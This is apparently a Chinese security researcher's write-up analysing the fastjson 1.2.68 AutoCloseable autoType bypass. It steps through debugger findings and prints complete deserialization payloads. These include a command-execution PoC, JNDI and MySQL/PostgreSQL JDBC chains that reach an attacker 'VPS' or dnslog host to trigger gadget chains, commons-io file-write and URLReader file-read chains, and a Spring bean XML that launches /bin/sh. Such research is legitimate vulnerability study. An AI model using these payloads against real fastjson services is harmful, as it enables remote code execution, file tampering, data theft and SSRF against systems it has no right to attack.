fastjson 1.2.68漏洞分析

1. AutoCloseable

An object that may hold resources (such as file or socket handles) until it is closed. The close() method of an AutoCloseable object is called automatically when exiting a try-with-resources block for which the object has been declared in the resource specification header. This construction ensures prompt release, avoiding resource exhaustion exceptions and errors that may otherwise occur.
API Note:

It is possible, and in fact common, for a base class to implement AutoCloseable even though not all of its subclasses or instances will hold releasable resources. For code that must operate in complete generality, or when it is known that the AutoCloseable instance requires resource release, it is recommended to use try-with-resources constructions. However, when using facilities such as java.util.stream.Stream that support both I/O-based and non-I/O-based forms, try-with-resources blocks are in general unnecessary when using non-I/O-based forms.
Since:
1.7

Author:
Josh Bloch
一个在关闭之前可能持有资源(例如文件或套接字句柄)的对象。 AutoCloseable 对象的 close() 方法在退出资源规范标头中已为其声明对象的 try-with-resources 块时自动调用。 这种构造确保了及时释放,避免了资源耗尽异常和错误,否则可能会发生。
API 注释:

即使不是所有的子类或实例都拥有可释放的资源,基类也有可能实现 AutoCloseable,实际上这很常见。 对于必须完全通用运行的代码,或者当已知 AutoCloseable 实例需要资源释放时,建议使用 try-with-resources 构造。 但是,当使用 java.util.stream.Stream 等支持基于 I/O 和非基于 I/O 的形式的工具时,在使用非 I/O- 时通常不需要 try-with-resources 块 基于表格。
自从:
1.7
作者:
乔什·布洛赫

1.1 Demo测试

1.1.1 计算器测试

编写一个实现AutoCloseable接口的Demo,通过fastjson反序列化调用,触发代码执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package vuln;

import com.alibaba.fastjson.JSON;

public class poc_1_2_68 implements AutoCloseable{

public poc_1_2_68(String cmd){
try{
Runtime.getRuntime().exec(cmd);
}catch (Exception e){}
}


@Override
public void close(){

}
public static void main(String[] args) {
String poc1 = "{" +
" \"@type\":\"java.lang.AutoCloseable\",\n" +
" \"@type\": \"vuln.poc_1_2_68\",\n" +
" \"cmd\": \"open /System/Applications/Calculator.app\"" +
" }";

String poc = poc1;
JSON.parse(poc);
}
}

1.1.2 反序列化中类的构造方法

这里在Demo中,没有设定无参构造方法,但是为什么还能反序列化成功?之前在1.2.24最开始分析的时候,当时记录的反序列化过程中只会找无参构造方法,如果没有的话会怎么样呢?
在之前的调试中,对于类的构造方法、Field、Method都放在beanInfo,因此在生成beanInfo对象处下断点

1

com.alibaba.fastjson.util.JavaBeanInfo#build中;在这没有看到对构造方法参数的判断,只是循环赋值给creatorConstructor,比如有两个构造方法,其中会根据已经遍历过的构造方法的参数长度作比较,选取参数数量较多的;如果参数数量相同,则会按照遍历的顺序,选取先遍历到的构造方法;

2

在后面com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze的反序列化中,使用了creatorConstructor实例化对象,并传入相关参数

2

1.2 AutoCloseable反序列化调试

在JSON.parse()处下断点调试

1.2.1 checkAutoType流程

1.2.1.1 safeModeMask

首先可以看到在checkAutoType类加载过程中,多了一个safeMode,如果在parse()解析中设置了这个属性为true,则不会进行类加载,并抛出异常 safeMode not support autoType,这个感觉可以在提供安全建议的时候提供思路

4
1.2.1.2 内置的mappings

getClassFromMapping中,获取到了内置的java.lang.AutoCloseable类,

5

TypeUtilsmappings中有这个类的映射,回头看了一下1.2.24的mappings中是没有的,而1.2.68中已经没有了1.2.47利用的java.lang.Class

1.2.2 deserializer

获取对应的Class后,紧接着看一下是否有内置指定的deserializer工具;
调试发现,这里并没有想java.lang.Class内置了反序列化工具类,看来是走的通用的createJavaBeanDeserializer方法去创建deserializer

6
a
7

1.2.3 再次进入checkAutoType

当完成@java.lang.AutoCloseable的类加载并获取了JavaBeanDeserializer,payload的类作为字段,再次进入ParseConfigcheckAutoType,此时autoTypeSupport虽然为false,但是expectClassFlag已经为true

8

加载目标类,并放入TypeUtilsmappings

9

如图,成功在没有autoTypeSupport的情况下,完成了类加载,后面仍然是以前的反序列化流程

2. 利用链

2.1 oracle.jdbc.rowset.OracleJDBCRowSet

2.1.1 fastjson1.2.68

之前有这么一条利用链,在我的笔记中记录是准备用于1.2.68的,

1
{"@type":"java.lang.AutoCloseable","@type":"oracle.jdbc.rowset.OracleJDBCRowSet","dataSourceName":"ldap://x.x.x.x","command":"1"}

实际在1.2.68调试中,发现oracle.jdbc.rowset.OracleJDBCRowSet已经被加入黑名单了,很明显用不了;对应的黑名单Hash-3319207949486691020

10

那么这条利用链是哪个版本的呢?

2.1.3 fastjson1.2.50

查看历史版本的源代码,在1.2.50中没有看到对RowSet实现类的限制,1.2.51版本后就有相关的加固了
因此这条利用链适用于 <=1.2.50版本,


从1.2.68开始,虽然类加载可以通过AutoCloseable绕过限制,但是JNDI已知利用链的类都被加入了黑名单,其他相关利用链也没有公开的了,但是有了各路大神的各种利用链~

11
  • 构造方法:public FileOutputStream(String name, boolean append)
    1
    {"@type":"java.lang.AutoCloseable","@type":"java.io.FileOutputStream","file":"/tmp/123","append":false}
    这个poc在jdk11上可以,jdk8中不行,提示xxx;该poc可以生成文件

2.2.1 获取不到构造方法

调试过程中发现,对于java.io.FileOutputStream完成了类加载,但是BeanInfo中没有构造方法;在build方法中如位置,跳过了creatorConstructor的赋值,原因是ASMUtils.lookupParameterNames(constructor)获取到的字符数组为空

12
13
  • JDK8
b
  • 切换至JDK11是可以的
c

猜测和rt.jar中原生类加载、ASM有关系
在网上找到了一个师傅遇到相同的问题: http://scz.617.cn:8/web/202008100900.txt

https://mp.weixin.qq.com/s?__biz=MzUzNDMyNjI3Mg==&mid=2247484866&idx=1&sn=23fb7897f6e54cdf61031a65c602487d&scene=21#wechat_redirect
文章中也对这个问题做了解释,又学习到了
引用:读取字节码来获取变量名,自定义类和第三方库由于IDE默认使用javac -g编译就没问题,系统类就不一定了。JDK11以下的版本大部分都没有携带变量名(并不一定,部分系统的JDK8也可能存在)。

反编译不同版本的java.io.FileOutputStream类;可以看到jdk8中没有LocalVariableTable;而fastjson通过asm读取类后依赖LocalVariableTable

14
  • 这里还有一个疑问,FileOutputStream也有String nameboolean append为参数的构造方法,为什么最后用的是file和append参数呢;

原因:参考1.1.2的调试,反序列化过程中,获取默认的构造方法,如果没有无参构造方法,且参数数量相同的情况下;优先选取constructors数组中优先遍历的方法,这里即是 FileOutputStream(java.io.File, boolean)的构造方法

15

2.2.2 公开的利用链

根据2.2.1 的特性,显然jdk8中是使用不了的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

{
"x":{
"@type":"java.lang.AutoCloseable",
"@type":"sun.rmi.server.MarshalOutputStream",
"out":{
"@type":"java.util.zip.InflaterOutputStream",
"out":{
"@type":"java.io.FileOutputStream",
"file":"/tmp/dest.txt",
"append":false
},
"infl":{
"input":"eJwL8nUyNDJSyCxWyEgtSgUAHKUENw=="
},
"bufLen":1048576
},
"protocolVersion":1
}
}

2.3 Mysql利用链

https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Xing-How-I-Use-A-JSON-Deserialization.pdf

主要的构造思路:json字符串在fastjson反序列化过程中,触发mysql数据库连接,可用于SSRF/RCE

关于mysql connector的jdbc组件反序列化漏洞,这个后面再分析
可以参考Maven库上的标识:https://mvnrepository.com/artifact/mysql/mysql-connector-java

2.3.1 Mysql connector 5.1.x

适用版本:5.1.11-5.1.49 二次反序列化、5.1.10只完成了SSRF
关键类:com.mysql.jdbc.JDBC4Connection
依赖包:

1
2
3
4
5
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>5.1.10</version>
</dependency>

JDBC4Connection类中只有一个构造方法,

1
2
3
public JDBC4Connection(String hostToConnectTo, int portToConnectTo, Properties info, String databaseToConnectTo, String url) throws SQLException {
super(hostToConnectTo, portToConnectTo, info, databaseToConnectTo, url);
}

满足AutoCloseable接口的实现

16
2.3.1.1 触发mysql连接

实例化JDBC4Connection即触发dnslog,构造的info中的属性值,也是为了满足触发mysql反序列化漏洞的条件,这个后面再分析

1
2
3
4
5
6
7
8
9
10
11
12
13
public static void mysqlJDBCDemo() throws Exception{
String hostToConnectTo = "dnslog";
int portToConnectTo = 3306;
Properties info = new Properties();
info.setProperty("user", "yso_CC_calc");
info.setProperty("password", "none");
info.setProperty("statementInterceptors", "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor");
info.setProperty("autoDeserialize", "true");
info.setProperty("NUM_HOSTS", "1");
String databaseToConnectTo = "name";
String url = "";
JDBC4Connection jdbc4Connection = new JDBC4Connection(hostToConnectTo, portToConnectTo, info, databaseToConnectTo, url);
}

如图,JDBC4Connection的默认构造方法,执行到父类的构造方法中,并在createNewIO中去尝试与mysql数据库建立连接

17
2.3.1.2 反序列化

反序列化需要借助MySql_Fake_Server https://github.com/fnmsd/MySQL_Fake_Server

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.jdbc.JDBC4Connection",
"hostToConnectTo": "VPS",
"portToConnectTo": 3306,
"info": {
"user": "yso_CommonsBeanutils1_open /System/Applications/Calculator.app",
"password": "none",
"statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true",
"NUM_HOSTS": "1"
},
"databaseToConnectTo": "name",
"url": ""
}

测试了一下,二次反序列化只在mysql-connector 5.1.11 - 5.1.49版本触发,5.1.10没有完成CB利用链的加载

18

2.3.2 Mysql Connector 6.0.x

适用版本:6.0.2、6.0.3
关键类:com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection

19

依赖包:

1
2
3
4
5
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>6.0.2</version>
</dependency>
2.3.2.1 构造方法
  • LoadBalancedMySQLConnection

    1
    2
    3
    public LoadBalancedMySQLConnection(LoadBalancedConnectionProxy proxy) {
    super(proxy);
    }
  • LoadBalancedConnectionProxy

    1
    public LoadBalancedConnectionProxy(ConnectionString connectionString) throws SQLException
  • ConnectionString

    1
    public ConnectionString(String url, Properties info)
    2.3.2.2 触发mysql连接

完成LoadBalancedMySQLConnection类的实例化即会触发mysql请求,这里把之前info的一些字段都可以通过url使用jdbc://mysql....的写法写入

1
2
3
4
5
6
public static void mysql6JDBCDemo() throws Exception{
String url = "jdbc:mysql://VPS:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections4_calc";
ConnectionString connectionString = new ConnectionString(url, null);
LoadBalancedConnectionProxy loadBalancedConnectionProxy = new LoadBalancedConnectionProxy(connectionString);
LoadBalancedMySQLConnection loadBalancedMySQLConnection = new LoadBalancedMySQLConnection(loadBalancedConnectionProxy);
}
  • 暂时不分析mysql这块的触发,异常中看一下调用栈
20
2.3.2.3 反序列化
1
2
3
4
5
6
7
8
9
{
"@type":"java.lang.AutoCloseable",
"@type":"com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection",
"proxy": {
"connectionString":{
"url":"jdbc:mysql://VPS:3306/name?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsBeanutils1_open /System/Applications/Calculator.app"
}
}
}
21

2.3.3 Mysql Connector 8.x

关键类:com.mysql.cj.jdbc.ha.ReplicationMySQLConnection
按照blackhat上的介绍,适用版本:6.x or < 8.0.20;但是根据目标这个利用链来说,只在8.0.19上触发了反序列化
因此适用版本:8.0.19反序列化,大于8.0.19 SSRF 来自:《 珂技知识分享》,时间原因,暂时没分析为什么其他版本利用链的构造

1
public ReplicationConnectionUrl(List<HostInfo> masters, List<HostInfo> slaves, Map<String, String> properties) 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
{
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.cj.jdbc.ha.ReplicationMySQLConnection",
"proxy": {
"@type": "com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy",
"connectionUrl": {
"@type": "com.mysql.cj.conf.url.ReplicationConnectionUrl",
"masters": [
{
"host": ""
}
],
"slaves": [],
"properties": {
"host": "VPS",
"port": 3307,
"user": "yso_CommonsBeanutils1_open /System/Applications/Calculator.app",
"dbname": "dbname",
"password": "pass",
"queryInterceptors": "com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true"
}
}
}
}

2.4 Commons-io利用链

2.4.1 $ref

不管在DefaultJSONParser还是JavaBeanDeserializer,在反序列化过程中,都会判断key是否是$ref,看之后的利用链,也都有$ref的身影
调试看到当遇到$ref时,会增加一个解析任务,

22

之前的分析都是在parse()中,这里发现关于$ref的相关解析是在handleResovleTask中完成

23

handleResovleTask

24

调用栈

25

$ref是为了防止出现StackOverFlow异常,在一个对象被多次使用,第一次之后的使用就会变成这个对象第一次出现的位置。
https://www.jianshu.com/p/50fe2b473cae

1
2
3
4
5
{"$ref":"$"}	引用根对象
{"$ref":"@"} 引用自己
{"$ref":".."} 引用父对象
{"$ref":"../.."} 引用父对象的父对象
{"$ref":"$.members[0].reportTo"} 基于路径的引用

2.4.2 写入文件

版本限制:commons-io 2.0~2.6
由于2.2中,FileOutputStream利用链并不适用与所有的JDK/JRE版本,因此需要找到新的利用链,在voidfyoo的文章的思路,通过commons-io组件构造利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"@type":"org.apache.commons.io.input.ReaderInputStream",
"reader":{
"@type":"org.apache.commons.io.input.CharSequenceReader",
"charSequence":{"@type":"java.lang.String""aaaaaa"
},
"charsetName":"UTF-8",
"bufferSize":1024
},
"branch":{
"@type":"org.apache.commons.io.output.WriterOutputStream",
"writer": {
"@type":"org.apache.commons.io.output.FileWriterWithEncoding",
"file": "/tmp/pwned",
"encoding": "UTF-8",
"append": false
},
"charset": "UTF-8",
"bufferSize": 1024,
"writeImmediately": true
},
"closeBranch":true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
}

但是使用上面的poc新建的文件没有写入内容

2.4.2.1 XmlStreamReader

入口点XmlStreamReader类,

26
2.4.2.1 TeeInputStream

对应poc和XmlStreamReader的构造参数,is构造为TeeInputStream

1
2
3
public TeeInputStream(InputStream input, OutputStream branch) {
this(input, branch, false);
}

参数:input、branch

a. input参数
构造类:ReaderInputStream

1
2
3
4
5
6
7
8
public ReaderInputStream(Reader reader, CharsetEncoder encoder, int bufferSize) {
this.reader = reader;
this.encoder = encoder;
this.encoderIn = CharBuffer.allocate(bufferSize);
this.encoderIn.flip();
this.encoderOut = ByteBuffer.allocate(128);
this.encoderOut.flip();
}
  • reader使用了CharSequenceReader
    1
    2
    3
    public CharSequenceReader(CharSequence charSequence) {
    this.charSequence = (CharSequence)(charSequence != null ? charSequence : "");
    }
    CharSequenceReader的构造方法中是CharSequence 类型作为参数,CharSequence是一个接口,像常用的String就实现了这个接口

branch参数
构造类:WriterOutputStream

1
2
3
public WriterOutputStream(Writer writer, Charset charset, int bufferSize, boolean writeImmediately) {
this(writer, charset.newDecoder().onMalformedInput(CodingErrorAction.REPLACE).onUnmappableCharacter(CodingErrorAction.REPLACE).replaceWith("?"), bufferSize, writeImmediately);
}
  • writer使用了FileWriterWithEncoding
    1
    2
    3
    public FileWriterWithEncoding(String filename, String encoding, boolean append) throws IOException {
    this(new File(filename), encoding, append);
    }
2.4.2.3 触发流程

如voidfyoo的文章中的分析,如图位置执行到this.in.read(),而这个in参数,在BOMInputStream实例化时,传入了TeeInputStream

27

TeeInputStreamread方法如下,将reader中的内容写入到branch

28

ReaderInputStream#fillBufer

29

CharSequenceReader#read

30

Reader的流程结束,看一下OutputStreambranch的流程,这里没有记录,因为可以参考一下voidfyoo的文章

2.4.2.4 无法写入文件内容

这里在使用$ref循环对inputStream和outputStream进行读出写入后,创建的文件仍然没有被写入内容,
抛出如下异常,分析过后发现,fastjson反序列化过程中,实例化WriterOutputStream类的时候,没有使用payload中想要的构造方法,因此charset为空,在写入文件内容的时候抛出异常。。

1
2
3
4
5
6
7
8
9
10
11
12
create instance error, null, public org.apache.commons.io.input.XmlStreamReader(java.io.InputStream,java.lang.String,boolean,java.lang.String) throws java.io.IOException
...
Caused by: java.lang.NullPointerException
at org.apache.commons.io.output.WriterOutputStream.processInput(WriterOutputStream.java:280)
at org.apache.commons.io.output.WriterOutputStream.write(WriterOutputStream.java:213)
at org.apache.commons.io.input.TeeInputStream.read(TeeInputStream.java:129)
at java.io.BufferedInputStream.fill(BufferedInputStream.java:246)
at java.io.BufferedInputStream.read(BufferedInputStream.java:265)
at org.apache.commons.io.input.BOMInputStream.getBOM(BOMInputStream.java:175)
at org.apache.commons.io.input.BOMInputStream.getBOMCharsetName(BOMInputStream.java:201)
at org.apache.commons.io.input.XmlStreamReader.doHttpStream(XmlStreamReader.java:439)
at org.apache.commons.io.input.XmlStreamReader.<init>(XmlStreamReader.java:326)

如图,在deserialze中看到当前的构造方法是org.apache.commons.io.output.WriterOutputStream(java.io.Writer,java.nio.charset.CharsetDecoder,int,boolean)

31

则我们的poc中,是想要使用charsetName参数的构造方法,即

1
2
3
public WriterOutputStream(Writer writer, String charsetName, int bufferSize, boolean writeImmediately) {
this(writer, Charset.forName(charsetName), bufferSize, writeImmediately);
}
32

这里再回头看一下beaninfo在实例化的时候,在循环构造方法的地方,第四个构造方法排在前面会优先遍历,导致后面同样参数数量的构造方法public org.apache.commons.io.output.WriterOutputStream(java.io.Writer,java.lang.String,int,boolean)不会被使用。

33

最终导致在WriteOutputStream#processInput方法中,decoder为空,抛出空指针异常

34
这里看一下获取类构造方法的数组是怎么生成的,跟踪到Class.privateGetDeclaredConstructors方法,而获取构造方法数组的功能是一个native方法,到这就看不到了。。。
35
2.4.2.5 修改利用链中WriteOutputStream的参数

根据前面的问题,将WriterOutputStream中的charsetName修改为,随便找一个继承CharsetDecoder类的方法,jdk内置的一些类都是私有方法,在fastjson中找到 com.alibaba.fastjson.util.UTF8Decoder 继承了这个抽象类;但是这个类并没有实现 AutoCloseable 接口,因此这里我手动开启了autoTypeSupport支持,显然这样做就不能达到通用了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
{
"x": {
"@type": "com.alibaba.fastjson.JSONObject",
"input": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "org.apache.commons.io.input.CharSequenceReader",
"charSequence": {
"@type": "java.lang.String""some thing > 8192"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"branch": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.output.WriterOutputStream",
"writer": {
"@type": "org.apache.commons.io.output.FileWriterWithEncoding",
"file": "/tmp/common-write",
"encoding": "UTF-8",
"append": false
},
"decoder": {
"@type": "com.alibaba.fastjson.util.UTF8Decoder"
},
"bufferSize": 1024,
"writeImmediately": true
},
"trigger": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.XmlStreamReader",
"is": {
"@type": "org.apache.commons.io.input.TeeInputStream",
"input": {
"$ref": "$.input"
},
"branch": {
"$ref": "$.branch"
},
"closeBranch": true
},
"httpContentType": "text/xml",
"lenient": false,
"defaultEncoding": "UTF-8"
},
"trigger2": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.XmlStreamReader",
"is": {
"@type": "org.apache.commons.io.input.TeeInputStream",
"input": {
"$ref": "$.input"
},
"branch": {
"$ref": "$.branch"
},
"closeBranch": true
},
"httpContentType": "text/xml",
"lenient": false,
"defaultEncoding": "UTF-8"
},
"trigger3": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.XmlStreamReader",
"is": {
"@type": "org.apache.commons.io.input.TeeInputStream",
"input": {
"$ref": "$.input"
},
"branch": {
"$ref": "$.branch"
},
"closeBranch": true
},
"httpContentType": "text/xml",
"lenient": false,
"defaultEncoding": "UTF-8"
}
}
}

2.4.3 读文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
{
"x": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "file:///tmp/flag"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"boms": [{
"charsetName": "UTF-8",
"bytes": [66]
}]
},
"address": {
"$ref": "$.x.BOM"
}
}
  • 文件内容对应的ASCII正确
36
  • 文件不存在或ASCII不匹配
37
  • web项目测试
38

但是这种方法不一定在真实场景能利用,真实场景不一定会将解析的JSONObject直接返回回来

也可以用来检测是否出网,或者检测是否<=1.2.68版本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
{
"address": {
"$ref": "$.x.BOM"
},
"x": {
"@type": "org.apache.commons.io.input.BOMInputStream",
"boms": [
{
"bytes": [],
"charsetName": "UTF-8"
}
],
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"bufferSize": 1024,
"charsetName": "UTF-8",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "http://dnslog"
}
}
}
}

2.5 pgsql利用链

maven:

1
2
3
4
5
6
7
8
9
10
11
<dependency>
<groupId>org.postgresql</groupId>
<artifactId>postgresql</artifactId>
<version>42.3.1</version>
</dependency>

<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>5.2.22.RELEASE</version>
</dependency>

依赖类:

  • org.postgresql.jdbc.PgConnection
  • org.springframework.context.support.ClassPathXmlApplicationContext

2.5.1 PgConnection

39
构造方法:
1
public PgConnection(HostSpec[] hostSpecs, String user, String database, Properties info, String url) throws SQLException
在PgConnection的构造方法中,执行到`ConnectionFactory.openConnection()`方法
40

在ObjectFactory#instantiate方法中,将传入的类名即org.springframework.context.support.ClassPathXmlApplicationContext进行实例化

41

2.5.2 ClassPathXmlApplicationContext实例化

42
1
2
3
4
5
ClassPathXmlApplicationContext <init>
- AbstractApplicationContext refresh
- AbstractApplicationContext obtainFreshBeanFactory
- AbstractRefreshableApplicationContext refreshBeanFactory
- AbstractXmlApplicationContext loadBeanDefinitions
43

接下来遍历configLocations,开始获取资源,如图先后判断了字符串是否是 classpath*:war:这种格式;匹配资源字符串的格式后,最终因为使用了http://的格式,返回了URL对象

44
45
构造spring bean配置的xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="work" class="java.lang.ProcessBuilder">
<constructor-arg>
<list>
<value>/bin/sh</value>
<value>-c</value>
<value>open /System/Applications/Calculator.app</value>
</list>
</constructor-arg>
<property name="do" value="#{work.start()}"></property>
</bean>
</beans>
46